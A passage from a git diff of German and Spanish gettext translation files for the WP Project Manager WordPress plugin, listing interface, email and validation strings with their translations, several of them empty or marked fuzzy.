views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Neue Aufgabenliste" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "E-Mail-Einstellungen" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "E-Mail-Typ" + +# @ cpm +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML-E-Mail" + +# @ cpm +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Text-E-Mail" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Datei-Upload-Limit" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Fälligkeitsdatum" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Aufgabe anzeigen" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Neue Nachricht" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Nachricht anzeigen" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +# @ cpm +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Projekt anzeigen" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +# @ cpm +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Liste aktualisieren" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +# @ cpm +#~ msgid "Project created by %s" +#~ msgstr "Projekt erstellt von %s" + +# @ cpm +#~ msgid "Project details updated by %s" +#~ msgstr "Projektdetails aktualisiert von %s" + +# @ cpm +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Meldung \"%s\" von %s gelöscht" + +# @ cpm +#~ msgid "%s deleted a comment" +#~ msgstr "%s hat einen Kommentar gelöscht" + +# @ cpm +#~ msgid "Add a comment..." +#~ msgstr "Kommentar hinzufügen..." + +# @ cpm +#~ msgid "Messages" +#~ msgstr "Nachrichten" + +# @ cpm +#~ msgid "message post type" +#~ msgstr "Nachrichtenposttyp" + +# @ cpm +#~ msgid "Edit Message" +#~ msgstr "Nachricht bearbeiten" + +# @ cpm +#~ msgid "Search Messages" +#~ msgstr "Nachrichten suchen" + +# @ cpm +#~ msgid "Parent Message" +#~ msgstr "Übergeordnete Nachricht" + +# @ cpm +#~ msgid "Add New Milestone" +#~ msgstr "Neuen Meilenstein hinzufügen" + +# @ cpm +#~ msgid "New Milestone" +#~ msgstr "Neuer Meilenstein" + +# @ cpm +#~ msgid "View Milestone" +#~ msgstr "Meilenstein anzeigen" + +# @ cpm +#~ msgid "Search Milestone" +#~ msgstr "Meilenstein suchen" + +# @ cpm +#~ msgid "Parent Milestone" +#~ msgstr "Übergeordneter Meilenstein" + +# @ cpm +#~ msgid "project manager post type" +#~ msgstr "Projekt-Manager-Post-Typ" + +# @ cpm +#~ msgid "Add Project" +#~ msgstr "Projekt hinzufügen" + +# @ cpm +#~ msgid "Edit Project" +#~ msgstr "Projekt bearbeiten" + +# @ cpm +#~ msgid "Search Project" +#~ msgstr "Projekt suchen" + +# @ cpm +#~ msgid "Parent Project" +#~ msgstr "Übergeordnetes Projekt" + +# @ cpm +#~ msgid "Add Task List" +#~ msgstr "Aufgabenliste hinzufügen" + +# @ cpm +#~ msgid "Add New Task List" +#~ msgstr "Neue Aufgabenliste hinzufügen" + +# @ cpm +#~ msgid "Edit Task List" +#~ msgstr "Aufgabenliste bearbeiten" + +# @ cpm +#~ msgid "View Task List" +#~ msgstr "Aufgabenliste anzeigen" + +# @ cpm +#~ msgid "Search Task List" +#~ msgstr "Aufgabenliste suchen" + +# @ cpm +#~ msgid "Parent Task List" +#~ msgstr "Übergeordnete Aufgabenliste" + +# @ cpm +#~ msgid "Add New Task" +#~ msgstr "Neue Aufgabe hinzufügen" + +# @ cpm +#~ msgid "Edit Task" +#~ msgstr "Aufgabe bearbeiten" + +# @ cpm +#~ msgid "New Task" +#~ msgstr "Neue Aufgabe" + +# @ cpm +#~ msgid "Search Task" +#~ msgstr "Aufgabe suchen" + +# @ cpm +#~ msgid "Parent Task" +#~ msgstr "Übergeordnete Aufgabe" + +# @ cpm +#~ msgid "Delete project" +#~ msgstr "Projekt löschen" + +# @ cpm +#~ msgid "Add this comment" +#~ msgstr "Diesen Kommentar hinzufügen" + +# @ cpm +#~ msgid "late" +#~ msgstr "spät" + +# @ cpm +#~ msgid "Attached to
%s by %s" +#~ msgstr "Angehängt an %s von %s" + +# @ cpm +#~ msgid "Error: Message not found" +#~ msgstr "Fehler: Nachricht nicht gefunden" + +# @ cpm +#~ msgid "Error: Project not found" +#~ msgstr "Fehler: Projekt nicht gefunden" + +# @ cpm +#~ msgid "Error: Permission denied" +#~ msgstr "Fehler: Erlaubnis verweigert" + +# @ cpm +#, fuzzy +#~ msgid "1 Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "1 Kommentar" +#~ msgstr[1] "1 Kommentar" + +# @ cpm +#~ msgid "Message %s created by %s" +#~ msgstr "Nachricht %s erstellt von %s" + +# @ cpm +#~ msgid "Message %s updated by %s" +#~ msgstr "Meldung %s aktualisiert von %s" + +# @ cpm +#~ msgid "To-do list %s created by %s" +#~ msgstr "Aufgabenliste %s erstellt von %s" + +# @ cpm +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Aufgabenliste %s aktualisiert von %s" + +# @ cpm +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Aufgabenliste \"%s\" von %s gelöscht" + +# @ cpm +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Aufgabe %s hinzugefügt zu Aufgabenliste %s von %s" + +# @ cpm +#~ msgid "To-do %s updated by %s" +#~ msgstr "Aufgabe %s von %s aktualisiert" + +# @ cpm +#~ msgid "To-do %s completed by %s" +#~ msgstr "Aufgabe %s von %s abgeschlossen" + +# @ cpm +#~ msgid "Marked to-do as done" +#~ msgstr "Aufgabe als erledigt markiert" + +# @ cpm +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Aufgabe %s von %s als noch nicht fertig markiert" + +# @ cpm +#~ msgid "Re-opened to-do" +#~ msgstr "Aufgabe wieder geöffnet" + +# @ cpm +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Aufgabe \"%s\" aus Aufgabenliste %s von %s gelöscht" + +# @ cpm +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Meilenstein \"%s\" hinzugefügt von %s" + +# @ cpm +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Meilenstein \"%s\" geändert von %s" + +# @ cpm +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Meilenstein \"%s\" von %s gelöscht" + +# @ cpm +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Meilenstein \"%s\" von %s als erledigt markiert" + +# @ cpm +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Meilenstein \"%s\" als unvollständig markiert von %s" + +# @ cpm +#~ msgid "General" +#~ msgstr "Allgemein" + +# @ cpm +#~ msgid "No Messages Found" +#~ msgstr "Keine Nachrichten gefunden" + +# @ cpm +#~ msgid "No Messages Found in Trash" +#~ msgstr "Keine Nachrichten im Papierkorb gefunden" + +# @ cpm +#~ msgid "No Milestone Found" +#~ msgstr "Kein Meilenstein gefunden" + +# @ cpm +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Kein Meilenstein im Papierkorb gefunden" + +# @ cpm +#~ msgid "No Project Found in Trash" +#~ msgstr "Kein Projekt im Papierkorb gefunden" + +# @ cpm +#~ msgid "No Task List Found" +#~ msgstr "Keine Aufgabenliste gefunden" + +# @ cpm +#~ msgid "No Task List Found in Trash" +#~ msgstr "Keine Aufgabenliste im Papierkorb gefunden" + +# @ cpm +#~ msgid "No Task Found" +#~ msgstr "Keine Aufgabe gefunden" + +# @ cpm +#~ msgid "No Task Found in Trash" +#~ msgstr "Keine Aufgabe im Papierkorb gefunden" + +# @ cpm +#~ msgid "Select co-workers" +#~ msgstr "Mitarbeiter wählen" + +# @ cpm +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Wollen Sie diese Aufgabe wirklich löschen?" + +# @ cpm +#~ msgid "Add this to-do" +#~ msgstr "Diese Aufgabe hinzufügen" + +# @ cpm +#~ msgid "Add a new to-do" +#~ msgstr "Neue Aufgabe hinzufügen" + +# @ cpm +#~ msgid "-- milestone --" +#~ msgstr "-- Meilenstein --" + +# @ cpm +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Wollen Sie diese Aufgabenliste wirklich löschen?" + +# @ cpm +#~ msgid "Update comment" +#~ msgstr "Kommentar aktualisieren" + +# @ cpm +#~ msgid "Edit milestone" +#~ msgstr "Meilenstein bearbeiten" + +# @ cpm +#~ msgid "Mark un-complete" +#~ msgstr "Als unvollständig markieren" + +# @ cpm +#~ msgid "To-do List" +#~ msgstr "Aufgabenliste" + +# @ cpm +#~ msgid "Notify Co-workers" +#~ msgstr "Mitarbeiter benachrichtigen" + +# @ cpm +#~ msgid "thread" +#~ msgstr "Thread" + +# @ cpm +#~ msgid "One Comment" +#~ msgid_plural "%s Comments" +#~ msgstr[0] "Ein Kommentar" +#~ msgstr[1] "%s Kommentare" + +# @ cpm +#~ msgid "Discuss this to-do list" +#~ msgstr "Diese Aufgabenliste diskutieren" + +# @ default +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "Größe in Megabyte, z. B. 2" + +# @ cpm +#~ msgid "New Project Subject" +#~ msgstr "Neues Projekt-Thema" + +# @ cpm +#~ msgid "New Project Body" +#~ msgstr "Neuer Projekttext" + +# @ cpm +#~ msgid "New Message Subject" +#~ msgstr "Neuer Nachrichtenbetreff" + +# @ cpm +#~ msgid "New Message Body" +#~ msgstr "Neue Nachrichtentext" + +# @ cpm +#~ msgid "New Comment Subject" +#~ msgstr "Neues Kommentar-Thema" + +# @ cpm +#~ msgid "New Assigned Task Subject" +#~ msgstr "Neues Aufgabe-Thema" + +# @ cpm +#~ msgid "-- assign to --" +#~ msgstr "-- zugewiesen zu --" + +# @ cpm +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Für Anhänge wählen Sie " +#~ "Dateien von Ihrem Computer." + +# @ cpm +#~ msgid "%d message" +#~ msgid_plural "%d messages" +#~ msgstr[0] "%d Nachricht" +#~ msgstr[1] "%d Nachrichten" + +# @ cpm +#~ msgid "%d to-do list" +#~ msgid_plural "%d to-do lists" +#~ msgstr[0] "%d Aufgabenliste" +#~ msgstr[1] "%d Aufgabenlisten" + +# @ cpm +#~ msgid "%d to-do" +#~ msgid_plural "%d to-dos" +#~ msgstr[0] "%d Aufgabe" +#~ msgstr[1] "%d Aufgaben" + +# @ cpm +#~ msgid "%d milestone" +#~ msgid_plural "%d milestones" +#~ msgstr[0] "%d Meilenstein" +#~ msgstr[1] "%d Meilensteine" + +# @ cpm +#~ msgid "%d Comments" +#~ msgstr "%d Kommentare" + +# @ cpm +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Vervollständigt von %s auf % s)" + +# @ cpm +#~ msgid "Tasklist name" +#~ msgstr "Aufgabenlistenname" + +# @ cpm +#~ msgid "Add a to-do" +#~ msgstr "Neue Aufgabe hinzufügen" + +# @ cpm +#~ msgid "Message details here" +#~ msgstr "Hier Nachrichtendetails eingeben" + +# @ cpm +#~ msgid "Details about milestone (optional)" +#~ msgstr "Details zu Meilenstein (optional)" + +# @ cpm +#~ msgid "Reopen" +#~ msgstr "Erneut öffnen" + +# @ cpm +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ " Downloaden oder weiter zur Diskussion." + +# @ cpm +#~ msgid "No Files Found!" +#~ msgstr "Keine Dateien gefunden!" + +# @ cpm +#~ msgid "Add New" +#~ msgstr "Neu hinzufügen" + +# @ cpm +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Keine Nachrichten gefunden! Fügen Sie doch eine hinzu?" + +# @ cpm +#~ msgid "← back" +#~ msgstr "← zurück" + +# @ cpm +#~ msgid "No Milestone Found!" +#~ msgstr "Keine Meilensteine gefunden!" + +# @ cpm +#~ msgid "Add new milestone" +#~ msgstr "Neuen Meilenstein hinzufügen" + +# @ cpm +#~ msgid "Project Info" +#~ msgstr "Projektinfo" + +# @ cpm +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Schade, leider keine Aufgabenliste gefunden!" + +# @ cpm +#~ msgid "Discuss this to-do" +#~ msgstr "Diese Aufgabe diskutieren" diff --git a/languages/wedevs-project-manager-es_ES.po b/languages/wedevs-project-manager-es_ES.po index 40635e2d9..c3fc9e9af 100644 --- a/languages/wedevs-project-manager-es_ES.po +++ b/languages/wedevs-project-manager-es_ES.po @@ -1,3493 +1,3493 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:46+0600\n" -"Last-Translator: David \n" -"Language-Team: Tareq Hasan \n" -"Language: es_ES\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e;_n\n" -"X-Poedit-Basepath: .\n" -"X-Generator: Poedit 2.0.8\n" -"Plural-Forms: nplurals=2; plural=n != 1;\n" -"X-Poedit-SourceCharset: UTF-8\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -#, fuzzy -#| msgid "[%s] %s Task status has changed in %s" -msgid "[%s] %s Task mark as %s in %s" -msgstr "ha cambiado el estado de la tarea [%s] %s en %s" - -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Mensaje" - -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Componentes" - -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Actividad" - -#: core/Notifications/Emails/New_Comment_Notification.php:68 -msgid "File" -msgstr "Archivo" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "[%s][%s] Nuevo Comentario en: %s" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "[%s][%s] Nuevo mensaje: %s" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "[%s] Nueva invitación al Proyecto: %s" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "[%s][%s] Nueva actividad asignada: %s" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "[%s] [%s] Comentario actualizado el: %s" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -msgid "[%s] Updated Project: %s" -msgstr "[%s] Actualizado proyecto: %s" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "[%s] [%s] Actualizar la tarea asignada: %s" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "No tiene ningún permiso." - -#: core/Permissions/Complete_Task.php:36 -#, fuzzy -#| msgid "You have no permission to create message." -msgid "You have no permission to change task status." -msgstr "No tienes permiso para crear un mensaje." - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "No tienes permiso para crear un mensaje." - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "No tienes permiso para para crear planes." - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" -"Actualización Requerida de WP Project Manager – Por " -"favor haga clic en el botón de abajo para actualizar a la última versión." - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "Ejecute la actualización" - -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Cargar Más..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Documentos Permitidos" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Ajustes" - -#: core/WP/Frontend.php:288 -#, fuzzy -#| msgid "Document" -msgid "Documentation" -msgstr "Documento" - -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Gestor Proyectos" - -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Proyectos" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "Categorías" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "Mis Actividades" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "Calendario" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "Informes" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "Progreso" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "Administrador" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "Colaborador" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -#, fuzzy -#| msgid "Task title is required." -msgid "Category title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Category/Validators/Update_Category.php:11 -#, fuzzy -#| msgid "Email is required." -msgid "Category id is required." -msgstr "E-mail es requerido." - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -#, fuzzy -#| msgid "Task title is required." -msgid "Comment title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -#, fuzzy -#| msgid "Email is required." -msgid "Comment id is required." -msgstr "E-mail es requerido." - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -#, fuzzy -#| msgid "Task title is required." -msgid "Discussion title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -#, fuzzy -#| msgid "Task title is required." -msgid "Discuss title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -#, fuzzy -#| msgid " is required." -msgid "Discuss id is required." -msgstr " se requiere." - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "archivo no encontrado" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -#, fuzzy -#| msgid "Milestone name is required." -msgid "Milestone title is required." -msgstr "Nombre de Etapa Requerido." - -#: src/Milestone/Validators/Update_Milestone.php:11 -#, fuzzy -#| msgid "Milestone name is required." -msgid "Milestone id is required." -msgstr "Nombre de Etapa Requerido." - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -#, fuzzy -#| msgid "Task title is required." -msgid "Role title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Role/Validators/Update_Role.php:11 -#, fuzzy -#| msgid " is required." -msgid "Role id is required." -msgstr " se requiere." - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Task/Validators/Update_Task.php:11 -#, fuzzy -#| msgid "Task title is required." -msgid "Task id is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -#, fuzzy -#| msgid "Task title is required." -msgid "Task list title is required." -msgstr "Se requiere un nombre de Actividad." - -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Task list name is required." -msgid "Task list id is required." -msgstr "Nombre de Lista requerido." - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "%1$s ha creado un proyecto titulado como %2$s" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from 